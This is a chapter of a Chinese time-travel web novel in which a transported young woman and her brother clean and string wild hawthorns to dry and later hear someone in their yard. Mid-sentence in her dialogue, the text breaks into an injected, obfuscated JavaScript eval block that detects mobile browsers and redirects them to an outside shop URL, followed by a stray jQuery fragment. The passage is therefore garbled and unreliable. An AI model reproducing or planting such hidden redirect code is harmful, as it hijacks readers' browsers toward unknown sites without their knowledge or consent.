林芽青微怔,心下不由紧张了起来,这余宴是什么意思?
她今日的表现确实与原主不同,但让她一个二十一二岁的新世纪独立女性装一个十三四岁的小姑娘,她确实做不到啊。
没事,没事,原主与余宴并未深交,再说了穿越这种匪夷所思的事情谁能想到。
只要她一口咬定是落水差点淹死导致她性情大变,没人会怀疑这具身体的“芯子”已经换了一个人的,林青芽自我安慰着,别慌,别慌,不要怕。
“对啊,你咋不叫小宴哥了?”林青山挠挠头,“你俩今日倒是正经聊上了两句,往日里最多点个头。”
“还不是因为我只想认你这一个哥。”林青芽嘴角微抽,“好了,哥,山楂已经够了,我们回家。”
“哈哈哈,小妹说得对,我们回家。”林青山显然被哄高兴了,一手拎一个竹筐,大步朝坡下走去。
回到那三间破茅屋时,日头已经偏西,简陋的灶间冷锅冷灶,水缸里的水只剩浅浅一层,林青山放下筐,就要去挑水。
“哥,先别急。”林青芽叫住他,指着院子里那口不知用了多少年的大瓦缸,“先把缸刷洗干净,我们要用。”
“啊?哥这就去。”林青山虽不解,但执行起来毫不含糊。
“洗果子。”林青芽言简意赅,已经开始动手将两个竹筐里的野山楂倒在一张干净的凉席上,将摔坏的、虫蛀的、过于青涩的挑出来放在一边,这些也不能浪费,可以尝试煮水或做别的处理,品相相对完好的,则堆在另一边。
林青山虽然不明白妹妹要做什么,但见她神情专注,动作利落,便也不再问,老老实实去刷缸了。
刷洗的声音,果子滚动的窸窣声,偶尔几声远处的犬吠鸡鸣,构成了小院黄昏的忙碌序曲。
缸刷好,林青山自发去挑水,林青芽则找来家里仅有的两个木盆,反复清洗。没有现代的自来水,没有洗涤剂,只能用清水一遍遍淘洗,洗至三回时,天色已经暗了下来,天际只剩一抹暗红的霞光。
“小妹,天都快黑了,要不你去休息,哥来弄?”林青山看着妹妹在昏暗光线下依旧不停歇的身影,有些心疼。
“不行,果子摘下来放久了容易坏,尤其是有些磕碰的。”林青芽头也不抬,将分拣好的好果子倒入一个木盆,搬到大缸边,开始用葫芦瓢舀水清洗。
冰凉的井水浸湿了她的袖口,晚风吹过,带来一丝凉意,她搓洗着果子表面的灰尘和可能的虫卵,动作仔细。
林青山叹了口气,蹲下来帮忙。兄妹俩就着最后的天光,沉默而快速地清洗着野山楂。红色的果子在清水中翻滚,偶尔碰撞发出轻微的闷响。
等到全部洗完,天已彻底黑透,一弯新月挂在树梢,洒下清冷微弱的光辉。
林青芽点起了家里唯一一盏油灯,灯焰跳动,在土墙上投下摇曳的巨大黑影。
接下来是去核切片,没有合适的工具,林青芽只得找来平日里切菜砍瓜用的菜刀,在磨刀石上磨了磨,又让林青山寻来一块相对平整的木板当案板。
她拿起一颗洗净的山楂,放在木板上小心地用刀切去两端,然后试图剖开去核。但山楂果小核硬,宽厚的菜刀很难处理,稍不留神就会切到手,尝试了几颗效率极低,成品也很难看。
林青山看得着急:“小妹,这太费劲了!要不……要不咱就这么整个晒?或者煮了吃?”
林青芽看着手里被糟蹋的几颗果子,又看看那大半盆红艳艳的山楂,眉头紧锁。
她知道林青山说得有道理,以现有的条件,追求去核切片太不现实了。但是山楂皮厚,整个晒干耗时极长,且容易外干内腐,成功率低。
她放下刀,揉了揉发酸的手腕,油灯的光晕染着她专注的侧脸,“哥,去找找,有没有细竹篾或者比较结实的草茎,要长一点的。”
林青山虽然不明所以,但还是立刻去屋后杂物堆翻找。不多时,他拿着一小捆略经捶打柔韧了些的茅草茎,以及一把改锥回来,“这个行不?”
“咦,有改锥?那就方便多了。”林青芽又接过茅草茎试了试韧度,点点头,“不错。”
她拿起一颗山楂,用改锥小心地在山楂果蒂处扎了一个对穿的小孔,然后拿起一根茅草茎,从小孔中慢慢穿了过去。
一颗,两颗,三颗……很快,茅草茎上串起了一长串红艳艳的山楂,像简陋的冰糖葫芦,只是没有糖衣。
“还是小妹厉害。”林青山瞪大了眼睛。
“这样通风更好,干得快,也不容易捂坏。晒干后可以直接储存,或者到时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345145|199512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再想办法处理。”林青芽解释着,手上动作不停。
油灯的光芒将她的影子投在土墙上,随着穿果的动作微微晃动。院子里寂静,只有草茎穿过果肉时细微的“嗤嗤”声,偶尔夹杂着一两声林青山帮忙递东西时衣料的摩擦声。
林青山看着小妹在昏黄灯光下低垂的眉眼,那里面没有抱怨,没有气馁,只有一种沉静的、近乎执拗的专注。
他忽然觉得,醒来的小妹真的不一样了。
以前小妹也勤快,但总是愁眉苦脸,唉声叹气,像被生活压弯了的小草。现在的小妹,眼里有光,哪怕面对这样窘迫的境地,也在努力寻找出路。
他不再多说,默默地帮着递果子,整理串好的山楂串。
等到所有品相完好的山楂都被串成串,夜已经深了。林青芽直起僵硬的腰背,揉了揉酸涩的眼睛,“今晚就先在凉席上摊开晾着,也好沥沥水,明天一早再挂起来晒。”
林青山看着席子上那一片红点,又看看妹妹疲惫却明亮的眼睛,终于忍不住问:“小妹,这……这真能成吗?晒干了真有人要?能换钱?”
林青芽没有立刻回答,她抬头看了看星空,又看了看这破败的院子,轻声道:“哥,不试试怎么知道不成?就算换不了钱,晒干了总能存得久一点,饿的时候也能垫垫肚子。”
“小妹说得对!”
兄妹俩简单洗漱了一下,各自回屋歇下。
林青芽躺在硬板床上,侧头望向窗外的点点星光,刚从这个陌生的世界醒来便面临着被饿死或被发卖还债的处境,来不及细想只能先行动起来,直到现在闲下来,脑子里的各种念头才如气泡一样咕噜咕噜往外冒。
早上她还在实验室里对着一堆培养皿叹气,谁知还没到中午一个爆炸便将她送到了这个她没有在任何历史课上学到过的大梁朝。
她为什么没死反而穿越了?又要怎么回去?怎样才能安全的在这里活下去?还有白天处理的那批野山楂,用的是最简陋的方法,成功率有多少?
林青芽烦躁的翻了个身,脑子里是一团剪不断的乱麻,就在她迷迷糊糊将要睡过去时,院子里传来极其轻微的窸窸窣窣的声音。
不是风声,也不是虫鸣,像是……极轻的脚步声,和什么东西被轻轻放置的细微摩擦。